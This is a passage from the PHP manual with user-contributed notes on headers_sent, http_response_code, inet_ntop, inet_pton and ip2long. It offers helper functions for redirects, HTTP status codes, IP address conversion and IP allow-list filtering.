     * use php constants IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG
     *
     * @final
     * @static
     * @access public
     * @param resource $resource
     * @param int $type
     */
    final static public function show($resource, $type){
        if(!headers_sent()){
            header('Cache-control: private');
            switch($type){
                case IMAGETYPE_GIF :    header('Content-type: image/gif');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.gif');
                                        imagegif($resource);
                                        break;
                case IMAGETYPE_JPEG :     header('Content-type: image/jpeg');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.jpg');
                                        imagejpeg($resource, NULL, 99);
                        break;
                case IMAGETYPE_PNG :     header('Content-type: image/png');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.png');
                                        imagepng($resource, NULL, 0,  NULL);
                        break;
            }
            imagedestroy($resource);
            exit;
        }
    }
}
?>

This way if you are debugging... and flush output... you will not get the endless list of headers allready send errors...

Hope it's helpfull... ;)
vasnake at gmail dot com 23-Jul-2007 12:55
In my case, when I install PHP 5.2.1 in CGI mode under Apache 2.2.3 (on windows 2003 SP2),
function sent_headers() always return false. flash(), ob_end_flash(), so on... no matter.
I suppose, Apache buffering all PHP output until exit()
collectours at free dot fr 18-Jun-2007 11:32
In response to K.Tomono and alexrussell101 at gmail dot com :

Yes,
headers_sent() will return false, even if you sent something to the ouptut using print() or header() , if output_buffering is different from Off in you php.ini, and the length of what you sent does not exceed the size of output_buffering.

To test it, try this code with  these values in php.ini
1) output_buffering=32
2) output buffering = 4096

[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
    echo "enough text to feed the buffer until it overflows ;-)<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]

then put
3) output buffering = Off
and try this code
[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]
which will this time unconditionnally say that headers were sent.

This is noticed in php.ini comment :
"Output buffering allows you to send header lines (including cookies) even after you send body content, in the price of slowing PHP's output layer a bit."

Note : This is completly independant of implicit_flush tuning.
Jakob B. 07-Jan-2006 12:03
<?php
function redirect($filename) {
    if (!headers_sent())
        header('Location: '.$filename);
    else {
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$filename.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
        echo '</noscript>';
    }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com 30-Nov-2005 03:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
Terry 11-Feb-2005 04:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com 28-Feb-2004 08:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
    $proto = "http" .
        ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
    $server = isset($_SERVER['HTTP_HOST']) ?
        $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
    return $proto . $server;
}

function redirect_rel($relative_url)
{
    $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
    if (!headers_sent())
    {
        header("Location: $url");
    }
    else
    {
        echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
    }
}
?>
antti at haapakangas dot net 28-Jan-2004 09:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.


Get or Set the HTTP response code

  • « headers_sent
  • inet_ntop »
  • PHP Manual
  • Network Functions
  • Get or Set the HTTP response code

http_response_code

(PHP 5 >= 5.4.0)

http_response_code — Get or Set the HTTP response code

Description

int http_response_code ([ int $response_code ] )

If you pass no parameters then http_response_code will get the current status code. If you pass a parameter it will set the response code.

Parameters

response_code

The optional response_code will set the response code.

<?php
http_response_code(404);
?>

Return Values

The current response code. By default the return value is int(200).

Examples

Example #1 Examples using http_response_code()

<?php

// Get the current default response code
var_dump(http_response_code()); // int(200)

// Set our response code
http_response_code(404);

// Get our new response code
var_dump(http_response_code()); // int(404)
?>

The above example will output:

See Also

  • header() - Send a raw HTTP header
  • headers_list() - Returns a list of response headers sent (or ready to send)

User Contributed Notes

Stefan W 10-May-2014 11:55
Note that you can NOT set arbitrary response codes with this function, only those that are known to PHP (or the SAPI PHP is running on).

The following codes currently work as expected (with PHP running as Apache module):
200 – 208, 226
300 – 305, 307, 308
400 – 417, 422 – 424, 426, 428 – 429, 431
500 – 508, 510 – 511

Codes 0, 100, 101, and 102 will be sent as "200 OK".

Everything else will result in "500 Internal Server Error".

If you want to send responses with a freestyle status line, you need to use the `header()` function:

<?php header("HTTP/1.0 418 I'm A Teapot"); ?>
Anonymous 09-Mar-2014 04:23
You can also create a enum by extending the SplEnum class.
<?php

/** HTTP status codes */
class HttpStatusCode extends SplEnum {
    const __default = self::OK;

    const SWITCHING_PROTOCOLS = 101;
    const OK = 200;
    const CREATED = 201;
    const ACCEPTED = 202;
    const NONAUTHORITATIVE_INFORMATION = 203;
    const NO_CONTENT = 204;
    const RESET_CONTENT = 205;
    const PARTIAL_CONTENT = 206;
    const MULTIPLE_CHOICES = 300;
    const MOVED_PERMANENTLY = 301;
    const MOVED_TEMPORARILY = 302;
    const SEE_OTHER = 303;
    const NOT_MODIFIED = 304;
    const USE_PROXY = 305;
    const BAD_REQUEST = 400;
    const UNAUTHORIZED = 401;
    const PAYMENT_REQUIRED = 402;
    const FORBIDDEN = 403;
    const NOT_FOUND = 404;
    const METHOD_NOT_ALLOWED = 405;
    const NOT_ACCEPTABLE = 406;
    const PROXY_AUTHENTICATION_REQUIRED = 407;
    const REQUEST_TIMEOUT = 408;
    const CONFLICT = 408;
    const GONE = 410;
    const LENGTH_REQUIRED = 411;
    const PRECONDITION_FAILED = 412;
    const REQUEST_ENTITY_TOO_LARGE = 413;
    const REQUESTURI_TOO_LARGE = 414;
    const UNSUPPORTED_MEDIA_TYPE = 415;
    const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
    const EXPECTATION_FAILED = 417;
    const IM_A_TEAPOT = 418;
    const INTERNAL_SERVER_ERROR = 500;
    const NOT_IMPLEMENTED = 501;
    const BAD_GATEWAY = 502;
    const SERVICE_UNAVAILABLE = 503;
    const GATEWAY_TIMEOUT = 504;
    const HTTP_VERSION_NOT_SUPPORTED = 505;
}
stephen at bobs-bits dot com 03-Mar-2014 04:44
It's not mentioned explicitly, but the return value when SETTING, is the OLD status code.
e.g.
<?php

$a = http_response_code();
$b = http_response_code(202);
$c = http_response_code();

var_dump($a, $b, $c);

// Result:
// int(200)
// int(200)
// int(202)
?>
Anonymous 24-Aug-2013 10:44
Status codes as an array:

<?php
$http_status_codes = array(100 => "Continue", 101 => "Switching Protocols", 102 => "Processing", 200 => "OK", 201 => "Created", 202 => "Accepted", 203 => "Non-Authoritative Information", 204 => "No Content", 205 => "Reset Content", 206 => "Partial Content", 207 => "Multi-Status", 300 => "Multiple Choices", 301 => "Moved Permanently", 302 => "Found", 303 => "See Other", 304 => "Not Modified", 305 => "Use Proxy", 306 => "(Unused)", 307 => "Temporary Redirect", 308 => "Permanent Redirect", 400 => "Bad Request", 401 => "Unauthorized", 402 => "Payment Required", 403 => "Forbidden", 404 => "Not Found", 405 => "Method Not Allowed", 406 => "Not Acceptable", 407 => "Proxy Authentication Required", 408 => "Request Timeout", 409 => "Conflict", 410 => "Gone", 411 => "Length Required", 412 => "Precondition Failed", 413 => "Request Entity Too Large", 414 => "Request-URI Too Long", 415 => "Unsupported Media Type", 416 => "Requested Range Not Satisfiable", 417 => "Expectation Failed", 418 => "I'm a teapot", 419 => "Authentication Timeout", 420 => "Enhance Your Calm", 422 => "Unprocessable Entity", 423 => "Locked", 424 => "Failed Dependency", 424 => "Method Failure", 425 => "Unordered Collection", 426 => "Upgrade Required", 428 => "Precondition Required", 429 => "Too Many Requests", 431 => "Request Header Fields Too Large", 444 => "No Response", 449 => "Retry With", 450 => "Blocked by Windows Parental Controls", 451 => "Unavailable For Legal Reasons", 494 => "Request Header Too Large", 495 => "Cert Error", 496 => "No Cert", 497 => "HTTP to HTTPS", 499 => "Client Closed Request", 500 => "Internal Server Error", 501 => "Not Implemented", 502 => "Bad Gateway", 503 => "Service Unavailable", 504 => "Gateway Timeout", 505 => "HTTP Version Not Supported", 506 => "Variant Also Negotiates", 507 => "Insufficient Storage", 508 => "Loop Detected", 509 => "Bandwidth Limit Exceeded", 510 => "Not Extended", 511 => "Network Authentication Required", 598 => "Network read timeout error", 599 => "Network connect timeout error");
?>

Source: Wikipedia "List_of_HTTP_status_codes"
Richard F. 15-Jun-2013 07:19
At least on my side with php-fpm and nginx this method does not change the text in the response, only the code.

<?php

// HTTP/1.1 404 Not Found
http_response_code(404);

?>

The resulting response is HTTP/1.1 404 OK
Rob Zazueta 10-May-2013 01:43
The note above from "Anonymous" is wrong. I'm running this behind the AWS Elastic Loadbalancer and trying the header(':'.$error_code...) method mentioned above is treated as invalid HTTP.

The documentation for the header() function has the right way to implement this if you're still on < php 5.4:

<?php
header("HTTP/1.0 404 Not Found");
?>
Anonymous 17-Jul-2012 08:35
If you don't have PHP 5.4 and want to change the returned status code, you can simply write:
<?php
header(':', true, $statusCode);
?>

The ':' are mandatory, or it won't work
craig at craigfrancis dot co dot uk 26-Jan-2012 01:38
If your version of PHP does not include this function:

<?php

    if (!function_exists('http_response_code')) {
        function http_response_code($code = NULL) {

            if ($code !== NULL) {

                switch ($code) {
                    case 100: $text = 'Continue'; break;
                    case 101: $text = 'Switching Protocols'; break;
                    case 200: $text = 'OK'; break;
                    case 201: $text = 'Created'; break;
                    case 202: $text = 'Accepted'; break;
                    case 203: $text = 'Non-Authoritative Information'; break;
                    case 204: $text = 'No Content'; break;
                    case 205: $text = 'Reset Content'; break;
                    case 206: $text = 'Partial Content'; break;
                    case 300: $text = 'Multiple Choices'; break;
                    case 301: $text = 'Moved Permanently'; break;
                    case 302: $text = 'Moved Temporarily'; break;
                    case 303: $text = 'See Other'; break;
                    case 304: $text = 'Not Modified'; break;
                    case 305: $text = 'Use Proxy'; break;
                    case 400: $text = 'Bad Request'; break;
                    case 401: $text = 'Unauthorized'; break;
                    case 402: $text = 'Payment Required'; break;
                    case 403: $text = 'Forbidden'; break;
                    case 404: $text = 'Not Found'; break;
                    case 405: $text = 'Method Not Allowed'; break;
                    case 406: $text = 'Not Acceptable'; break;
                    case 407: $text = 'Proxy Authentication Required'; break;
                    case 408: $text = 'Request Time-out'; break;
                    case 409: $text = 'Conflict'; break;
                    case 410: $text = 'Gone'; break;
                    case 411: $text = 'Length Required'; break;
                    case 412: $text = 'Precondition Failed'; break;
                    case 413: $text = 'Request Entity Too Large'; break;
                    case 414: $text = 'Request-URI Too Large'; break;
                    case 415: $text = 'Unsupported Media Type'; break;
                    case 500: $text = 'Internal Server Error'; break;
                    case 501: $text = 'Not Implemented'; break;
                    case 502: $text = 'Bad Gateway'; break;
                    case 503: $text = 'Service Unavailable'; break;
                    case 504: $text = 'Gateway Time-out'; break;
                    case 505: $text = 'HTTP Version not supported'; break;
                    default:
                        exit('Unknown http status code "' . htmlentities($code) . '"');
                    break;
                }

                $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');

                header($protocol . ' ' . $code . ' ' . $text);

                $GLOBALS['http_response_code'] = $code;

            } else {

                $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

            }

            return $code;

        }
    }

?>

In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code:

https://bugs.php.net/bug.php?id=52555

For reference the error codes I got from PHP's source code:

http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354

And how the current http header is sent, with the variables it uses:

http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856


Converts a packed internet address to a human readable representation

  • « http_response_code
  • inet_pton »
  • PHP Manual
  • Network Functions
  • Converts a packed internet address to a human readable representation

inet_ntop

(PHP 5 >= 5.1.0)

inet_ntop — Converts a packed internet address to a human readable representation

Description

string inet_ntop ( string $in_addr )

This function converts a 32bit IPv4, or 128bit IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate string representation.

Parameters

in_addr

A 32bit IPv4, or 128bit IPv6 address.

Return Values

Returns a string representation of the address or FALSE on failure.

Examples

Example #1 inet_ntop() Example

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

See Also

  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation

User Contributed Notes

PandoraBox2007 at gmail dot com 04-Dec-2011 06:05
Before inet_pton nice work
//2001:0db8:85a3:0000:0000:8a2e:0370:7334

After
//2001:db8:85a3::8a2e:370:7334

no need compare compress data
string inet_ntop ( string $in_addr [, bool $compress = false] )

---
ryansun81 at gmail dot com 28-May-2010 12:11
For people who wondering what the meaning of this function name:
pton: a presentation(printable) format address to network address
ntop: a network address to presentation(printable) format address
MagicalTux at FF dot st 04-May-2005 01:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
    if (strlen($ip)==4) {
        // ipv4
        list(,$ip)=unpack('N',$ip);
        $ip=long2ip($ip);
    } elseif(strlen($ip)==16) {
        // ipv6
        $ip=bin2hex($ip);
        $ip=substr(chunk_split($ip,4,':'),0,-1);
        $ip=explode(':',$ip);
        $res='';
        foreach($ip as $seg) {
            while($seg{0}=='0') $seg=substr($seg,1);
            if ($seg!='') {
                $res.=($res==''?'':':').$seg;
            } else {
                if (strpos($res,'::')===false) {
                    if (substr($res,-1)==':') continue;
                    $res.=':';
                    continue;
                }
                $res.=($res==''?'':':').'0';
            }
        }
        $ip=$res;
    }
    return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !


Converts a human readable IP address to its packed in_addr representation

  • « inet_ntop
  • ip2long »
  • PHP Manual
  • Network Functions
  • Converts a human readable IP address to its packed in_addr representation

inet_pton

(PHP 5 >= 5.1.0)

inet_pton — Converts a human readable IP address to its packed in_addr representation

Description

string inet_pton ( string $address )

This function converts a human readable IPv4 or IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate 32bit or 128bit binary structure.

Parameters

address

A human readable IPv4 or IPv6 address.

Return Values

Returns the in_addr representation of the given address, or FALSE if a syntactically invalid address is given (for example, an IPv4 address without dots or an IPv6 address without colons).

Examples

Example #1 inet_pton() Example

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');
?>

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

See Also

  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

TuRn3r 03-Jun-2014 12:26
Be careful, address with leading 0 return false.

Example :
<?php
inet_pton('172.27.1.04'); // return false
inet_pton('172.27.1.4') ;// return the good result
?>
francis dot besset at gmail dot com 15-Jul-2011 10:45
It is possible to verify if PHP was compiled with --disable-ipv6 option by AF_INET6 constant.

<?php

if (defined('AF_INET6')) {
  echo "PHP was compiled without --disable-ipv6 option";
} else {
  echo "PHP was compiled with --disable-ipv6 option";
}

?>
strata_ranger at hotmail dot com 13-Sep-2009 07:51
If the input string is not a readable IP address, inet_pton() generates an E_WARNING and returns FALSE.  The same is true for inet_ntop().

Also, inet_pton() does not recognize netmask notation (e.g: "1.2.3.4/24" or "1:2::3:4/64") in the input string.  This differs from how some database systems (like postgreSQL) support IP address types, so if you need that sort of functionality when processing IP addresses in PHP you'll have to write it in yourself.

A rough example:

<?php

// Sample IP addresses
$ipaddr = '1.2.3.4/24'; // IPv4 with /24 netmask
$ipaddr = '1:2::3:4/64'; // IPv6 with /64 netmask

// Strip out the netmask, if there is one.
$cx = strpos($ipaddr, '/');
if ($cx)
{
  $subnet = (int)(substr($ipaddr, $cx+1));
  $ipaddr = substr($ipaddr, 0, $cx);
}
else $subnet = null; // No netmask present

// Convert address to packed format
$addr = inet_pton($ipaddr);

// Let's display it as hexadecimal format
foreach(str_split($addr) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);
echo "<br />\n";

// Convert the netmask
if (is_integer($subnet))
{
  // Maximum netmask length = same as packed address
  $len = 8*strlen($addr);
  if ($subnet > $len) $subnet = $len;

  // Create a hex expression of the subnet mask
  $mask  = str_repeat('f', $subnet>>2);
  switch($subnet & 3)
  {
  case 3: $mask .= 'e'; break;
  case 2: $mask .= 'c'; break;
  case 1: $mask .= '8'; break;
  }
  $mask = str_pad($mask, $len>>2, '0');

  // Packed representation of netmask
  $mask = pack('H*', $mask);
}

// Display the netmask as hexadecimal
foreach(str_split($mask) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);

?>
eric at vyncke org 18-Jul-2007 07:52
Not so easy in the function below... It is not handling the case of '::' which can happen in an IPv6 and represents any number of 0, addresses could be as simple as ff05::1
me at diogoresende dot net 16-May-2006 11:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.


Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

  • « inet_pton
  • long2ip »
  • PHP Manual
  • Network Functions
  • Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

ip2long

(PHP 4, PHP 5)

ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

Description

int ip2long ( string $ip_address )

The function ip2long() generates an IPv4 Internet network address from its Internet standard format (dotted string) representation.

ip2long() will also work with non-complete IP addresses. Read » http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm for more info.

Parameters

ip_address

A standard format address.

Return Values

Returns the IPv4 address or FALSE if ip_address is invalid.

Changelog

Version | Description
5.2.10 | Prior to this version, ip2long() would sometimes return a valid number even if passed an value which was not an (IPv4) Internet Protocol dotted address.

Examples

Example #1 ip2long() Example

<?php
$ip = gethostbyname('www.example.com');
$out = "The following URLs are equivalent:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, and http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

Example #2 Displaying an IP address

This second example shows how to print a converted address with the printf() function in both PHP 4 and PHP 5:

<?php
$ip   = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
    echo 'Invalid IP, please try again';
} else {
    echo $ip   . "\n";           // 192.0.34.166
    echo $long . "\n";           // -1073732954
    printf("%u\n", ip2long($ip)); // 3221234342
}
?>

Notes

Note:

Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned IP address.

Note:

ip2long() will return FALSE for the IP 255.255.255.255 in PHP 5 <= 5.0.2. It was fixed in PHP 5.0.3 where it returns -1 (same as PHP 4).

See Also

  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • sprintf() - Return a formatted string

User Contributed Notes

Karl Rixon 18-Sep-2014 11:01
The manual states that "ip2long() will also work with non-complete IP addresses", however this is system-dependant so cannot be relied upon. For example, on my system ip2long() will return FALSE for incomplete addresses:

<?php
var_dump(ip2long("255.255")); // bool(false)
?>

This is because ip2long will use inet_pton if available, which does not support non-complete addresses. If inet_pton is not available on your system, inet_addr will be used and incomplete addresses will work as stated.
oo dot para at gmail dot com 08-Jan-2014 07:30
If you want to validate IPs using this function, please be careful:
The function filter_var should be used instead for validating IPs.

<?php
$ip = '192.168.0355.24';
var_dump(ip2long($ip) !== false); // true (expected false)
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false

$ip = '192.168.355.24';
var_dump(ip2long($ip) !== false); // false
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false
?>
rasmus at mindplay dot dk 27-Aug-2013 11:54
As pointed out by others, this function's return value is not consistent on 32 and 64-bit platforms.

Your best bet for consistent behavior across 32/64-bit platforms (and Windows) is the lowest common denominator: force the return value of ip2long() into a signed 32-bit integer, e.g.:

    var_dump(unpack('l', pack('l', ip2long('255.255.255.0'))));

This looks idiotic, but it gives you a consistent signed integer value on all platforms.

(the arguments to both pack() and unpack() are the lower-case letter "L", not the number "1", in case it looks that way on your screen...)
admin at wudimei dot com 04-Jul-2012 11:42
<?php

/**
  *
  *get the first ip and last ip from cidr(network id and mask length)
  * i will integrate this function into "Rong Framework" :)
  * @author admin@wudimei.com
  * @param string $cidr 56.15.0.6/16 , [network id]/[mask length]
  * @return array $ipArray = array( 0 =>"first ip of the network", 1=>"last ip of the network" );
  *                         Each element of $ipArray's type is long int,use long2ip( $ipArray[0] ) to convert it into ip string.
  * example:
  * list( $long_startIp , $long_endIp) = getIpRange( "56.15.0.6/16" );
  * echo "start ip:" . long2ip( $long_startIp );
  * echo "<br />";
  * echo "end ip:" . long2ip( $long_endIp );
  */

  function getIpRang(  $cidr) {

   list($ip, $mask) = explode('/', $cidr);

   $maskBinStr =str_repeat("1", $mask ) . str_repeat("0", 32-$mask );      //net mask binary string
   $inverseMaskBinStr = str_repeat("0", $mask ) . str_repeat("1",  32-$mask ); //inverse mask

   $ipLong = ip2long( $ip );
   $ipMaskLong = bindec( $maskBinStr );
   $inverseIpMaskLong = bindec( $inverseMaskBinStr );
   $netWork = $ipLong & $ipMaskLong;

   $start = $netWork+1;//去掉网络号 ,ignore network ID(eg: 192.168.1.0)

   $end = ($netWork | $inverseIpMaskLong) -1 ; //去掉广播地址 ignore brocast IP(eg: 192.168.1.255)
   return array( $start, $end );
}
?>
replay111 at tlen dot pl 26-May-2012 10:28
Hi,
based on examples above I have mixed class IPFilter with netMatch function wich gives me complete class for IP4 check including CIDR IP format:

<?php
class IP4Filter {

    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_CIDR = 'CIDR';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips) {
        $this->_allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null) {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

        foreach ($allowed_ips as $allowed_ip) {
            $type = $this->_judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this, '_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst) {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip) {
        if (strpos($ip, '*')) {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/')) {
            $tmp = explode('/', $ip);
            if (strpos($tmp[1], '.')) {
                return self :: $_IP_TYPE_MASK;
            } else {
                return self :: $_IP_TYPE_CIDR;
            }
        }

        if (strpos($ip, '-')) {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip)) {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip) {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip) {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for ($i = 0; $i < count($allowed_ip_arr); $i++) {
            if ($allowed_ip_arr[$i] == '*') {
                return true;
            } else {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i])) {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip) {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) & ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip) {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_CIDR($CIDR, $IP) {
        list ($net, $mask) = explode('/', $CIDR);
        return ( ip2long($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long($net);
    }

}
?>

For me this code works great, so I wanna thank to all You guys!!!
Aleksey Kuznetsov 08-May-2012 02:30
Unfortunately sprintf('%u', ...) is low and returns string representation of integer value instead of integer.
Here is a function I use to convert IP to mySQL-compatible signed integer:

function ip2int($ip) {
  if (!$r = ip2long($ip)) return 0; // we want 0 instead of false, even in case of bad IP
  if ($r > 2147483647)
      $r-= 4294967296;
  return $r; // ok
}
pink at pink dot art dot pl 26-Apr-2012 10:09
Be aware when you're running 64bit system, ip2long will result 64 bit integer which doesn't fit in MySQL INT, you can use BIGINT or INT UNSIGNED because on 64bit systems ip2long will never return negative integer. See also https://bugs.php.net/bug.php?id=54338
PandoraBox2007 at gmail dot com 04-Dec-2011 04:06
Universal ip4/ip6

<?php
// encoded --
function encode_ip ($ip)
{
    $d = explode('.', $ip);
    if (count($d) == 4) return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);

    $d = explode(':', preg_replace('/(^:)|(:$)/', '', $ip));
    $res = '';
    foreach ($d as $x)
        $res .= sprintf('%0'. ($x == '' ? (9 - count($d)) * 4 : 4) .'s', $x);
    return $res;
}

// decoded
function decode_ip($int_ip)
{
    function hexhex($value) { return dechex(hexdec($value)); };

    if (strlen($int_ip) == 32) {
        $int_ip = substr(chunk_split($int_ip, 4, ':'), 0, 39);
        $int_ip = ':'. implode(':', array_map("hexhex", explode(':',$int_ip))) .':';
        preg_match_all("/(:0)+/", $int_ip, $zeros);
        if (count($zeros[0]) > 0) {
            $match = '';
            foreach($zeros[0] as $zero)
                if (strlen($zero) > strlen($match))
                    $match = $zero;
            $int_ip = preg_replace('/'. $match .'/', ':', $int_ip, 1);
        }
        return preg_replace('/(^:([^:]))|(([^:]):$)/', '$2$4', $int_ip);
    }
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>

DB:
`user_ip` varchar(32) DEFAULT NULL
anjo2 28-May-2011 06:13
In 32bits systems, you cannot convert ipv6 to long, but you can convert ip2bin and bin2ip

This function converts ipv4 and ipv6, returns false if ip is not valid

<?php
function ip2bin($ip)
{
    if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false)
        return base_convert(ip2long($ip),10,2);
    if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false)
        return false;
    if(($ip_n = inet_pton($ip)) === false) return false;
    $bits = 15; // 16 x 8 bit = 128bit (ipv6)
    while ($bits >= 0)
    {
        $bin = sprintf("%08b",(ord($ip_n[$bits])));
        $ipbin = $bin.$ipbin;
        $bits--;
    }
    return $ipbin;
}

function bin2ip($bin)
{
   if(strlen($bin) <= 32) // 32bits (ipv4)
       return long2ip(base_convert($bin,2,10));
   if(strlen($bin) != 128)
       return false;
   $pad = 128 - strlen($bin);
   for ($i = 1; $i <= $pad; $i++)
   {
       $bin = "0".$bin;
   }
   $bits = 0;
   while ($bits <= 7)
   {
       $bin_part = substr($bin,($bits*16),16);
       $ipv6 .= dechex(bindec($bin_part)).":";
       $bits++;
   }
   return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}
?>
hanguofeng at gmail dot com 13-Mar-2011 04:50
I've write an IPFilter class to check if a ip is in given ips.

<?php
class IPFilter
{
    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips)
    {
        $this -> _allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null)
    {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

